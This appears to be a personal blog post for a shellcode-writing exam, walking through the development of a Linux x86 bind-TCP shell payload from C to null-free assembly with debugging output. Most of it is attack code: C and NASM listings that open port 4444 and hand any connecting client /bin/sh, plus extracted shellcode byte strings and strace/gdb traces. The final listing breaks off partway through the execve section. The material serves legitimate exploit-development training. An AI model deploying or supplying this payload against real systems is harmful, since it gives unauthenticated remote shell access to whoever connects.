Shell Bind TCP Shellcode – SLAE Exam Assignment #1

Assignment #1 for the SLAE exam is to write a shell bind TCP shellcode.

Shell Bind TCP Shellcode - Introduction

First, the requirements for assignment #1 were as follows.

Create a Shell_Bind_TCP Shellcode
  - Binds to a port
  - Execs Shell on incoming connection

Port number should be easily configurable

This is my first post for the exam, so please let me know if the formatting or organization doesn't really work well. Note that this post will probably be longer than the remaining problems. I will be covering my development and debugging process more in-depth for this first assignment.

Other than that, let's jump right in!

Shell Bind TCP Shellcode - C Version

First, I decided to write the initial application in C.

This would allow me to understand how a bind shell works at a higher level. After that, I could analyze the code in preparation for writing the actual assembly.

My application is well commented, so I do not think that I will need to explain it any further. You can find my completed example below. Note that while my C program starts out named shell_bind_tcp, I had to rename it once I named my Assembly application the same. I apologize for any confusion that this may cause.

That said, my C programming was a bit rusty, so I used the following resource for the socket programming.

#include <stdio.h>
#include <netinet/in.h>

// Define the port number to listen on
#define PORT 4444

int main(int argc, char **argv)
{
    // Create the socket (IPv4, TCP, and IP)
    int sock = socket(AF_INET, SOCK_STREAM, 0);

    // Configure the addr values for the bind() call
    struct sockaddr_in address;
    // IPv4
    address.sin_family = AF_INET;
    // Bind to 0.0.0.0
    address.sin_addr.s_addr = INADDR_ANY;
    // Use the defined port (htons is used to fix the byte order)
    address.sin_port = htons(PORT);

    // Bind the socket to the specified IP/port
    bind(sock, (struct sockaddr *)&address, sizeof(address));

    // Listen on the socket
    listen(sock, 0);

    // Accept connections on the listening socket
    // NULLs are used because no information about the client is necessary - https://stackoverflow.com/questions/40689585
    // http://man7.org/linux/man-pages/man2/accept.2.html
    int new_sock = accept(sock, NULL, NULL);

    // Duplicate the file descriptors for STDIN, STDOUT, and STDERR to the newly created socket
    // This functions as a redirect for all input and output over the listening socket, allowing interacting with the executed program
    // http://man7.org/linux/man-pages/man2/dup.2.html
    dup(new_sock, 0);
    dup(new_sock, 1);
    dup(new_sock, 2);

    // Execute /bin/sh with no arguments or environment strings
    execve("/bin/sh", NULL, NULL);
}

Testing the C Version

With my C application written, it was time to make sure that it worked.

First, I checked the listening ports on my machine before, and after, execution, to verify that the port was properly opened.

doyler@slae:~/slae/_exam/shell_bind_tcp$ sudo netstat -anp | grep 4444
doyler@slae:~/slae/_exam/shell_bind_tcp$ sudo netstat -anp | grep 4444
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN      872/shell_bind_tcp
doyler@slae:~/slae/_exam/shell_bind_tcp$ sudo netstat -anp | grep 4444
doyler@slae:~/slae/_exam/shell_bind_tcp$ 

Next, I ran the application itself, to begin listening for connections.

doyler@slae:~/slae/_exam/shell_bind_tcp$ ./shell_bind_tcp 
^C

Finally, I connected to the socket, and was able to send commands and receive output!

doyler@slae:~/slae/_exam/shell_bind_tcp$ nc localhost 4444
whoami
doyler
id
uid=1000(doyler) gid=1000(doyler) groups=1000(doyler),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
exit

Execution Analysis

With the C program completed, I wanted to do some quick analysis to see how it worked.

First, I attempted to use strace to trace the program's execution, including system calls.

Unfortunately, this returned a lot of information that didn't seem useful to me.

doyler@slae:~/slae/_exam/shell_bind_tcp$ strace ./shell_bind_tcp 
execve("./shell_bind_tcp", ["./shell_bind_tcp"], [/* 36 vars */]) = 0
brk(0)                                  = 0x95a8000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7705000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3

... snip ...

With a little more research, I narrowed down the system calls to the ones that I manually specified in my code. This gave me a better handle of the execution, and I knew where to start for my assembly code.

doyler@slae:~/slae/_exam/shell_bind_tcp$ strace -e execve,socket,bind,listen,accept,dup2 ./shell_bind_tcp
execve("./shell_bind_tcp", ["./shell_bind_tcp"], [/* 36 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 0)                            = 0
accept(3, 0, NULL)                      = 4
dup2(4, 0)                              = 0
dup2(4, 1)                              = 1
dup2(4, 2)                              = 2
execve("/bin/sh", [0], [/* 0 vars */])  = 0
--- SIGCHLD (Child exited) @ 0 (0) ---

Shell Bind TCP Shellcode - First Attempt

First, I pulled up my handy syscall reference so that I would know the number and parameters for each of these calls.

Next, I also did some reading about the sys_socketcall call, as this would be handling all the socket interactions.

Per the man page, "User programs should call the appropriate functions by their usual names. Only standard library implementors and kernel hackers need to know about socketcall()." This means that I would need to call sys_socketcall, and then pass control to the appropriate method via the call parameter.

To find the proper values for some of my enums, I had to use some grep magic in my header files.

doyler@slae:~/slae/_exam/shell_bind_tcp$ sudo find / -name *.h -exec grep -Hn "AF_INET" {} \; 2>/dev/null

... snip ...

/usr/src/linux-headers-3.13.0-32/include/linux/net.h:60:	SOCK_STREAM	= 1,

... snip ...

/usr/src/linux-headers-3.13.0-32-generic/include/linux/socket.h:144:#define AF_INET		2	/* Internet IP Protocol 	*/

Additionally, I found the proper order of the socaddr_in parameters on the IP man page.

           struct sockaddr_in {
               sa_family_t    sin_family; /* address family: AF_INET */
               in_port_t      sin_port;   /* port in network byte order */
               struct in_addr sin_addr;   /* internet address */
           };

Finally, I used the rest of the man pages for each of these methods to find the right parameters and types. I also added a small snippet to my original C application to find the length of the address struct.

    printf("%i", sizeof(address));

My code is well commented, and you can find it below.

; Filename: shell_bind_tcp.nasm
; Author: Ray Doyle
; Website: https://www.doyler.net

global _start			

section .text
_start:
	; http://man7.org/linux/man-pages/man2/socket.2.html

	; Move 102 (sys_socketcall) into EAX
	mov eax, 0x66

	; Move 1 (SYS_SOCKET) into EBX
	mov ebx, 0x1

        ; int sock = socket(AF_INET, SOCK_STREAM, 0);

	; Push the variables for the socket() call onto the stack in reverse order
	; Push 0 onto the stack (IP - 3rd argument)
	push 0x0

	; Push 1 onto the stack (SOCK_STREAM - 2nd argument)
	push 0x1

	; Push 2 onto the stack (AF_INET - 1st argument)
	push 0x2

	; Move the stack pointer into ECX, to point to the arguments for socket()
	mov ecx, esp

	; Execute the socket() call
	int 0x80

	; Move the returned file descriptor from EAX to EDI for later usage
	mov edi, eax	

bind:
	; http://man7.org/linux/man-pages/man2/bind.2.html

        ; Move 102 (sys_socketcall) into EAX
        mov eax, 0x66

        ; Move 2 (SYS_BIND) into EBX
        mov ebx, 0x2

	; struct sockaddr_in address;
    	; address.sin_family = AF_INET;
	; address.sin_addr.s_addr = INADDR_ANY;
    	; address.sin_port = htons(PORT);

	; Creating the sockaddr_in structure
	; Push 0 (INADDR_ANY) onto the stack
	push 0x0

	; Push 4444 (PORT) onto the stack
	push 0x5c11  ; Port number in network byte (big endian) order = 4444

	; Push 2 (AF_INET) onto the stack
	push 0x2

	; Move the stack pointer into ECX, to point to the sockaddr_in struct
	mov ecx, esp

    	; bind(sock, (struct sockaddr *)&address, sizeof(address));
	
	; Push 16 (the length of the address struct) onto the stack - 3rd argument
	push 0x10

	; Push ECX (the pointer to the address structure) onto the stack - 2nd argument
	push ecx

	; Push EDI (the saved file descriptor for the socket) onto the stack - 1st argument
	push edi

        ; Move the stack pointer into ECX, to point to the arguments for bind()
        mov ecx, esp

	; Execute the bind() call
	int 0x80
	
listen:
	; http://man7.org/linux/man-pages/man2/listen.2.html

        ; Move 102 (sys_socketcall) into EAX
        mov eax, 0x66

        ; Move 4 (SYS_LISTEN) into EBX
        mov ebx, 0x2

    	; listen(sock, 0);

	; Push 0 (backlog) onto the stack - 2nd argument
	push 0x0

	; Push EDI (sockfd) onto the stack - 1st argument
	push edi

        ; Move the stack pointer into ECX, to point to the arguments for listen()
        mov ecx, esp
	
	; Execute the listen() call
	int 0x80

accept:
	; http://man7.org/linux/man-pages/man2/accept.2.html

        ; Move 102 (sys_socketcall) into EAX
        mov eax, 0x66

        ; Move 5 (SYS_ACCEPT) into EBX
        mov ebx, 0x2

    	; int new_sock = accept(sock, NULL, NULL);

	; Push 0 (addrlen) onto the stack - 3rd argument
	push 0x0

	; Push 0 (addr) onto the stack - 2nd argument
	push 0x0

	; Push EDI (sockfd) onto the stack - 1st argument
	push edi

        ; Move the stack pointer into ECX, to point to the arguments for accept()
        mov ecx, esp

        ; Execute the accept() call
        int 0x80

        ; Move the returned file descriptor from EAX to EDI for later usaged
        mov edi, eax

dup:
	; http://man7.org/linux/man-pages/man2/dup2.2.html
	
	; Move 63 (sys_dup2) into EAX
	mov eax, 0x3f

        ; dup2(new_sock, 0);

	; Push 0 (STDIN) onto the stack - 2nd argument
	push 0x0

	; Push EDI (the saved file descriptor for the socket) onto the stack - 1st argument
	push edi

	; Execute the dup2() call
	int 0x80

        ; Move 63 (sys_dup2) into EAX
        mov eax, 0x3f

        ; dup2(new_sock, 1);
        
        ; Push 1 (STDOUT) onto the stack - 2nd argument
        push 0x1

        ; Push EDI (the saved file descriptor for the socket) onto the stack - 1st argument
        push edi

        ; Execute the dup2() call
        int 0x80

        ; Move 63 (sys_dup2) into EAX
        mov eax, 0x3f

        ; dup2(new_sock, 2);
        
        ; Push 2 (STDERR) onto the stack - 2nd argument
        push 0x2

        ; Push EDI (the saved file descriptor for the socket) onto the stack - 1st argument
        push edi

        ; Execute the dup2() call
        int 0x80

execve:
	; http://man7.org/linux/man-pages/man2/execve.2.html

	; Push the first null dword (terminate the filename) 
	xor eax, eax
	push eax

        ; Move 11 (sys_execve) into EAX
        mov eax, 0xb

        ; execve("/bin/sh", NULL, NULL);

	; Push //bin/sh (8 bytes) onto the stack
	push 0x68732f2f
	push 0x6e69622f

	; Move the stack pointer into EBX, to point to the filename
	mov ebx, esp

	; Move 0 (argv) into ECX
	mov ecx, 0x0

	; Move 0 (envp) into EDX
	mov edx, 0x0

        ; Execute the execve() call
        int 0x80

Unfortunately, as you might have been able to tell, there were more than a few null bytes in my first attempt.

doyler@slae:~/slae/_exam/shell_bind_tcp$ ./compile.sh shell_bind_tcp
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
doyler@slae:~/slae/_exam/shell_bind_tcp$ objdump -d ./shell_bind_tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xb8\x66\x00\x00\x00\xbb\x01\x00\x00\x00\x6a\x00\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb8\x66\x00\x00\x00\xbb\x02\x00\x00\x00\x6a\x00\x68\x11\x5c\x00\x00\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb8\x66\x00\x00\x00\xbb\x02\x00\x00\x00\x6a\x00\x57\x89\xe1\xcd\x80\xb8\x66\x00\x00\x00\xbb\x02\x00\x00\x00\x6a\x00\x6a\x00\x57\x89\xe1\xcd\x80\x89\xc7\xb8\x3f\x00\x00\x00\x6a\x00\x57\xcd\x80\xb8\x3f\x00\x00\x00\x6a\x01\x57\xcd\x80\xb8\x3f\x00\x00\x00\x6a\x02\x57\xcd\x80\x31\xc0\x50\xb8\x0b\x00\x00\x00\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb9\x00\x00\x00\x00\xba\x00\x00\x00\x00\xcd\x80"

Removing the NULLs

First, I set about replacing the EAX, EBX, ECX, and EDX references with AL, BL, CL, and DL.

Next, I replaced all the 'push 0x0' calls with 'xor esi, esi; push esi' (or another unused register).

When I compiled this edited version of my application, I was left with only two more null bytes, which I have highlighted below.

doyler@slae:~/slae/_exam/shell_bind_tcp$ ./compile.sh shell_bind_tcp
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
doyler@slae:~/slae/_exam/shell_bind_tcp$ objdump -d shell_bind_tcp -M intel

shell_bind_tcp:     file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
 8048060:	b0 66                	mov    al,0x66
 8048062:	b3 01                	mov    bl,0x1
 8048064:	31 f6                	xor    esi,esi
 8048066:	56                   	push   esi
 8048067:	6a 01                	push   0x1
 8048069:	6a 02                	push   0x2
 804806b:	89 e1                	mov    ecx,esp
 804806d:	cd 80                	int    0x80
 804806f:	89 c7                	mov    edi,eax

08048071 <bind>:
 8048071:	b0 66                	mov    al,0x66
 8048073:	b3 02                	mov    bl,0x2
 8048075:	31 f6                	xor    esi,esi
 8048077:	56                   	push   esi
 8048078:	68 11 5c 00 00       	push   0x5c11
 804807d:	6a 02                	push   0x2
 804807f:	89 e1                	mov    ecx,esp
 8048081:	6a 10                	push   0x10
 8048083:	51                   	push   ecx
 8048084:	57                   	push   edi
 8048085:	89 e1                	mov    ecx,esp
 8048087:	cd 80                	int    0x80

08048089 <listen>:
 8048089:	b0 66                	mov    al,0x66
 804808b:	b3 02                	mov    bl,0x2
 804808d:	31 f6                	xor    esi,esi
 804808f:	56                   	push   esi
 8048090:	57                   	push   edi
 8048091:	89 e1                	mov    ecx,esp
 8048093:	cd 80                	int    0x80

08048095 <accept>:
 8048095:	b0 66                	mov    al,0x66
 8048097:	b3 02                	mov    bl,0x2
 8048099:	31 f6                	xor    esi,esi
 804809b:	56                   	push   esi
 804809c:	31 f6                	xor    esi,esi
 804809e:	56                   	push   esi
 804809f:	57                   	push   edi
 80480a0:	89 e1                	mov    ecx,esp
 80480a2:	cd 80                	int    0x80
 80480a4:	89 c7                	mov    edi,eax

080480a6 <dup>:
 80480a6:	b0 3f                	mov    al,0x3f
 80480a8:	31 f6                	xor    esi,esi
 80480aa:	56                   	push   esi
 80480ab:	57                   	push   edi
 80480ac:	cd 80                	int    0x80
 80480ae:	b0 3f                	mov    al,0x3f
 80480b0:	6a 01                	push   0x1
 80480b2:	57                   	push   edi
 80480b3:	cd 80                	int    0x80
 80480b5:	b0 3f                	mov    al,0x3f
 80480b7:	6a 02                	push   0x2
 80480b9:	57                   	push   edi
 80480ba:	cd 80                	int    0x80

080480bc <execve>:
 80480bc:	31 c0                	xor    eax,eax
 80480be:	50                   	push   eax
 80480bf:	b0 0b                	mov    al,0xb
 80480c1:	68 2f 2f 73 68       	push   0x68732f2f
 80480c6:	68 2f 62 69 6e       	push   0x6e69622f
 80480cb:	89 e3                	mov    ebx,esp
 80480cd:	31 c9                	xor    ecx,ecx
 80480cf:	31 d2                	xor    edx,edx
 80480d1:	cd 80                	int    0x80

This was quite simple to fix, as I just had to replace the 'push' with a 'pushw' instruction.

 8048078:	66 68 11 5c          	pushw  0x5c11

Attempt 1 - Testing and Debugging

With my null bytes removed, it was time to test the shellcode.

First, I extracted the shellcode using the same one-liner from my "Hello World" example.

doyler@slae:~/slae/_exam/shell_bind_tcp$ objdump -d ./shell_bind_tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xb0\x66\xb3\x01\x31\xf6\x56\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb0\x66\xb3\x02\x31\xf6\x56\x66\x68\x11\x5c\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x02\x31\xf6\x56\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x02\x31\xf6\x56\x31\xf6\x56\x57\x89\xe1\xcd\x80\x89\xc7\xb0\x3f\x31\xf6\x56\x57\xcd\x80\xb0\x3f\x6a\x01\x57\xcd\x80\xb0\x3f\x6a\x02\x57\xcd\x80\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80"

Next, I compiled the wrapper program and executed it. Unfortunately, it seemed that no socket was actually being opened, and execve("/bin/sh") was the only call properly executing.

doyler@slae:~/slae/_exam/shell_bind_tcp$ gcc -o shellcode -fno-stack-protector -z execstack shellcode.c 
doyler@slae:~/slae/_exam/shell_bind_tcp$ ./shellcode 
Shellcode Length:  114
$ id 
uid=1000(doyler) gid=1000(doyler) groups=1000(doyler),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
$ exit

A very quick debugging session led me to discover my issues. I wasn't actually zeroing out the entire registers, so my 'push al' calls were not leaving registers with the proper values.

doyler@slae:~/slae/_exam/shell_bind_tcp$ gdb -q shellcode
Reading symbols from /home/doyler/slae/_exam/shell_bind_tcp/shellcode...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) break *&code
Breakpoint 1 at 0x804a040
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>print/x $eax
>print/x $ebx
>print/x $ecx
>print/x $edx
>print/x $edi
>x/8xw $esp
>disassemble $eip,+10
>end
(gdb) r
Starting program: /home/doyler/slae/_exam/shell_bind_tcp/shellcode 
Shellcode Length:  114
$1 = 0x804a040
$2 = 0xb7fc6ff4
$3 = 0x0
$4 = 0x0
$5 = 0x804a0b3
0xbffff2ec:	0x08048430	0x08048510	0x00000072	0x08049ff4
0xbffff2fc:	0x08048461	0xffffffff	0xb7e51dd6	0xb7fc6ff4
Dump of assembler code from 0x804a040 to 0x804a04a:
=> 0x0804a040 <code+0>:	mov    al,0x66
   0x0804a042 <code+2>:	mov    bl,0x1
   0x0804a044 <code+4>:	xor    esi,esi
   0x0804a046 <code+6>:	push   esi
   0x0804a047 <code+7>:	push   0x1
   0x0804a049 <code+9>:	push   0x2
End of assembler dump.

Breakpoint 1, 0x0804a040 in code ()
(gdb) nexti
$6 = 0x804a066
$7 = 0xb7fc6ff4
$8 = 0x0
$9 = 0x0
$10 = 0x804a0b3

Assembly Attempt #2

With the issue in mind, I zeroed out registers before I pushed data into them. This was the only real change that I made to version #1, and you can find the modified code below.

; Filename: shell_bind_tcp.nasm
; Author: Ray Doyle
; Website: https://www.doyler.net

global _start			

section .text
_start:
	; http://man7.org/linux/man-pages/man2/socket.2.html

	; Move 102 (sys_socketcall) into EAX
	xor eax, eax
	mov al, 0x66

	; Move 1 (SYS_SOCKET) into EBX
	xor ebx, ebx
	mov bl, 0x1

        ; int sock = socket(AF_INET, SOCK_STREAM, 0);

	; Push the variables for the socket() call onto the stack in reverse order
	; Push 0 onto the stack (IP - 3rd argument)
	xor esi, esi
	push esi

	; Push 1 onto the stack (SOCK_STREAM - 2nd argument)
	push 0x1

	; Push 2 onto the stack (AF_INET - 1st argument)
	push 0x2

	; Move the stack pointer into ECX, to point to the arguments for socket()
	mov ecx, esp

	; Execute the socket() call
	int 0x80

	; Move the returned file descriptor from EAX to EDI for later usage
	mov edi, eax	

bind:
	; http://man7.org/linux/man-pages/man2/bind.2.html

        ; Move 102 (sys_socketcall) into EAX
	xor eax, eax
        mov al, 0x66

        ; Move 2 (SYS_BIND) into EBX
	xor ebx, ebx
        mov bl, 0x2

	; struct sockaddr_in address;
    	; address.sin_family = AF_INET;
	; address.sin_addr.s_addr = INADDR_ANY;
    	; address.sin_port = htons(PORT);

	; Creating the sockaddr_in structure
	; Push 0 (INADDR_ANY) onto the stack
	xor esi, esi
	push esi

	; Push 4444 (PORT) onto the stack
	push word 0x5c11  ; Port number in network byte (big endian) order = 4444

	; Push 2 (AF_INET) onto the stack
	push 0x2

	; Move the stack pointer into ECX, to point to the sockaddr_in struct
	mov ecx, esp

    	; bind(sock, (struct sockaddr *)&address, sizeof(address));
	
	; Push 16 (the length of the address struct) onto the stack - 3rd argument
	push 0x10

	; Push ECX (the pointer to the address structure) onto the stack - 2nd argument
	push ecx

	; Push EDI (the saved file descriptor for the socket) onto the stack - 1st argument
	push edi

        ; Move the stack pointer into ECX, to point to the arguments for bind()
        mov ecx, esp

	; Execute the bind() call
	int 0x80
	
listen:
	; http://man7.org/linux/man-pages/man2/listen.2.html

        ; Move 102 (sys_socketcall) into EAX
	xor eax, eax
        mov al, 0x66

        ; Move 4 (SYS_LISTEN) into EBX
	xor ebx, ebx
        mov bl, 0x2

    	; listen(sock, 0);

	; Push 0 (backlog) onto the stack - 2nd argument
	xor esi, esi
	push esi

	; Push EDI (sockfd) onto the stack - 1st argument
	push edi

        ; Move the stack pointer into ECX, to point to the arguments for listen()
        mov ecx, esp
	
	; Execute the listen() call
	int 0x80

accept:
	; http://man7.org/linux/man-pages/man2/accept.2.html

        ; Move 102 (sys_socketcall) into EAX
	xor eax, eax
        mov al, 0x66

        ; Move 5 (SYS_ACCEPT) into EBX
	xor ebx, ebx
        mov bl, 0x2

    	; int new_sock = accept(sock, NULL, NULL);

	; Push 0 (addrlen) onto the stack - 3rd argument
	xor esi, esi
	push esi

	; Push 0 (addr) onto the stack - 2nd argument
	xor esi, esi
        push esi

	; Push EDI (sockfd) onto the stack - 1st argument
	push edi

        ; Move the stack pointer into ECX, to point to the arguments for accept()
        mov ecx, esp

        ; Execute the accept() call
        int 0x80

        ; Move the returned file descriptor from EAX to EDI for later usaged
        mov edi, eax

dup:
	; http://man7.org/linux/man-pages/man2/dup2.2.html
	
	; Move 63 (sys_dup2) into EAX
	xor eax, eax
	mov al, 0x3f

        ; dup2(new_sock, 0);

	; Move 0 (STDIN) into ECX - 2nd argument
	xor ecx, ecx

	; Move EDI (the saved file descriptor for the socket) into EBX - 1st argument
	mov ebx, edi

	; Execute the dup2() call
	int 0x80

        ; Move 63 (sys_dup2) into EAX
	xor eax, eax
        mov al, 0x3f

        ; dup2(new_sock, 1);
        
        ; Move 1 (STDOUT) into ECX - 2nd argument
        xor ecx, ecx
	mov cl, 0x1

        ; Move EDI (the saved file descriptor for the socket) into EBX - 1st argument
        mov ebx, edi

        ; Execute the dup2() call
        int 0x80

        ; Move 63 (sys_dup2) into EAX
	xor eax, eax
        mov al, 0x3f

        ; dup2(new_sock, 2);
        
        ; Move 2 (STDERR) into ECX - 2nd argument
        xor ecx, ecx
	mov cl, 0x2

        ; Move EDI (the saved file descriptor for the socket) into EBX - 1st argument
        mov ebx, edi

        ; Execute the dup2() call
        int 0x80

execve:
	; http://man7.org/linux/man-pages/man2/execve.2.html

	; Push the first null dword (terminate the filename) 
	xor eax, eax
	push eax

        ; Move 11 (sys_execve) into EAX
        mov al, 0xb

        ; execve("/bin/sh", NULL, NULL);

	; Push //bin/sh (8 bytes) onto the stack
	push 0x68732f2f
	push 0x6e69622f

	; Move the stack pointer into EBX, to point to the filename
	mov ebx, esp

	; Move 0 (argv) into ECX
	xor ecx, ecx

	; Move 0 (envp) into EDX
	xor edx, edx

        ; Execute the execve() call
        int 0x80

Debugging and Fixing - Round #2

With my second iteration complete, it was time to trace my program's execution.

Unfortunately, it looks like the application failed on the bind() syscall.

doyler@slae:~/slae/_exam/shell_bind_tcp$ strace -e execve,socket,bind,listen,accept,dup2 ./shellcode 
execve("./shellcode", ["./shellcode"], [/* 36 vars */]) = 0
Shellcode Length:  142
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(0), sin_addr=inet_addr("17.92.0.0")}, 16) = -1 EADDRNOTAVAIL (Cannot assign requested address)
bind(3, NULL, 3)                        = -1 EFAULT (Bad address)
bind(3, NULL, 0)                        = -1 EINVAL (Invalid argument)
dup2(-22, 0)                            = -1 EBADF (Bad file descriptor)
dup2(-22, 1)                            = -1 EBADF (Bad file descriptor)
dup2(-22, 2)                            = -1 EBADF (Bad file descriptor)
execve("/bin//sh", [0], [/* 0 vars */]) = 0

Once I realized that I needed to push a word, and not an entire dword, for the address.sin_family, then I fixed that call as well. Unfortunately, I then had some issues with the calls after bind.

doyler@slae:~/slae/_exam/shell_bind_tcp$ strace -e execve,socket,bind,listen,accept,dup2 ./shell_bind_tcp 
execve("./shell_bind_tcp", ["./shell_bind_tcp"], [/* 36 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
bind(3, NULL, 3)                        = -1 EFAULT (Bad address)

A quick glance made me realize that, while my comments used the right call #s for sys_socketcall, I never actually changed them. Once I update these to their proper value, the execution looked great!

doyler@slae:~/slae/_exam/shell_bind_tcp$ strace -e execve,socket,bind,listen,accept,dup2 ./shell_bind_tcp
execve("./shell_bind_tcp", ["./shell_bind_tcp"], [/* 36 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 0)                            = 0
accept(3, 0, NULL)                      = 4
dup2(4, 0)                              = 0
dup2(4, 1)                              = 1
dup2(4, 2)                              = 2
execve("/bin//sh", [0], [/* 0 vars */]) = 0
--- SIGCHLD (Child exited) @ 0 (0) ---

Shell Bind TCP Shellcode - Working Version

After all of my changes, you can find the the third iteration of my application below.

; Filename: shell_bind_tcp.nasm
; Author: Ray Doyle
; Website: https://www.doyler.net

global _start			

section .text
_start:
	; http://man7.org/linux/man-pages/man2/socket.2.html

	; Move 102 (sys_socketcall) into EAX
	xor eax, eax
	mov al, 0x66

	; Move 1 (SYS_SOCKET) into EBX
	xor ebx, ebx
	mov bl, 0x1

        ; int sock = socket(AF_INET, SOCK_STREAM, 0);

	; Push the variables for the socket() call onto the stack in reverse order
	; Push 0 onto the stack (IP - 3rd argument)
	xor esi, esi
	push esi

	; Push 1 onto the stack (SOCK_STREAM - 2nd argument)
	push 0x1

	; Push 2 onto the stack (AF_INET - 1st argument)
	push 0x2

	; Move the stack pointer into ECX, to point to the arguments for socket()
	mov ecx, esp

	; Execute the socket() call
	int 0x80

	; Move the returned file descriptor from EAX to EDI for later usage
	mov edi, eax	

bind:
	; http://man7.org/linux/man-pages/man2/bind.2.html

        ; Move 102 (sys_socketcall) into EAX
	xor eax, eax
        mov al, 0x66

        ; Move 2 (SYS_BIND) into EBX
	xor ebx, ebx
        mov bl, 0x2

	; struct sockaddr_in address;
    	; address.sin_family = AF_INET;
	; address.sin_addr.s_addr = INADDR_ANY;
    	; address.sin_port = htons(PORT);

	; Creating the sockaddr_in structure
	; Push 0 (INADDR_ANY) onto the stack
	xor esi, esi
	push esi

	; Push 4444 (PORT) onto the stack
	push word 0x5c11  ; Port number in network byte (big endian) order = 4444

	; Push 2 (AF_INET) onto the stack
	push word 0x2

	; Move the stack pointer into ECX, to point to the sockaddr_in struct
	mov ecx, esp

    	; bind(sock, (struct sockaddr *)&address, sizeof(address));
	
	; Push 16 (the length of the address struct) onto the stack - 3rd argument
	push 0x10

	; Push ECX (the pointer to the address structure) onto the stack - 2nd argument
	push ecx

	; Push EDI (the saved file descriptor for the socket) onto the stack - 1st argument
	push edi

        ; Move the stack pointer into ECX, to point to the arguments for bind()
        mov ecx, esp

	; Execute the bind() call
	int 0x80
	
listen:
	; http://man7.org/linux/man-pages/man2/listen.2.html

        ; Move 102 (sys_socketcall) into EAX
	xor eax, eax
        mov al, 0x66

        ; Move 4 (SYS_LISTEN) into EBX
	xor ebx, ebx
        mov bl, 0x4

    	; listen(sock, 0);

	; Push 0 (backlog) onto the stack - 2nd argument
	xor esi, esi
	push esi

	; Push EDI (sockfd) onto the stack - 1st argument
	push edi

        ; Move the stack pointer into ECX, to point to the arguments for listen()
        mov ecx, esp
	
	; Execute the listen() call
	int 0x80

accept:
	; http://man7.org/linux/man-pages/man2/accept.2.html

        ; Move 102 (sys_socketcall) into EAX
	xor eax, eax
        mov al, 0x66

        ; Move 5 (SYS_ACCEPT) into EBX
	xor ebx, ebx
        mov bl, 0x5

    	; int new_sock = accept(sock, NULL, NULL);

	; Push 0 (addrlen) onto the stack - 3rd argument
	xor esi, esi
	push esi

	; Push 0 (addr) onto the stack - 2nd argument
	xor esi, esi
        push esi

	; Push EDI (sockfd) onto the stack - 1st argument
	push edi

        ; Move the stack pointer into ECX, to point to the arguments for accept()
        mov ecx, esp

        ; Execute the accept() call
        int 0x80

        ; Move the returned file descriptor from EAX to EDI for later usaged
        mov edi, eax

dup:
	; http://man7.org/linux/man-pages/man2/dup2.2.html
	
	; Move 63 (sys_dup2) into EAX
	xor eax, eax
	mov al, 0x3f

        ; dup2(new_sock, 0);

	; Move 0 (STDIN) into ECX - 2nd argument
	xor ecx, ecx

	; Move EDI (the saved file descriptor for the socket) into EBX - 1st argument
	mov ebx, edi

	; Execute the dup2() call
	int 0x80

        ; Move 63 (sys_dup2) into EAX
	xor eax, eax
        mov al, 0x3f

        ; dup2(new_sock, 1);
        
        ; Move 1 (STDOUT) into ECX - 2nd argument
        xor ecx, ecx
	mov cl, 0x1

        ; Move EDI (the saved file descriptor for the socket) into EBX - 1st argument
        mov ebx, edi

        ; Execute the dup2() call
        int 0x80

        ; Move 63 (sys_dup2) into EAX
	xor eax, eax
        mov al, 0x3f

        ; dup2(new_sock, 2);
        
        ; Move 2 (STDERR) into ECX - 2nd argument
        xor ecx, ecx
	mov cl, 0x2

        ; Move EDI (the saved file descriptor for the socket) into EBX - 1st argument
        mov ebx, edi

        ; Execute the dup2() call
        int 0x80

execve:
	; http://man7.org/linux/man-pages/man2/execve.2.html

	; Push the first null dword (terminate the filename) 
	xor eax, eax
	push eax

        ; Move 11 (sys_execve) into EAX
        mov al, 0xb

        ; execve("/bin/sh", NULL, NULL);

	; Push //bin/sh (8 bytes) onto the stack
	push 0x68732f2f
	push 0x6e69622f

	; Move the stack pointer into EBX, to point to the filename
	mov ebx, esp

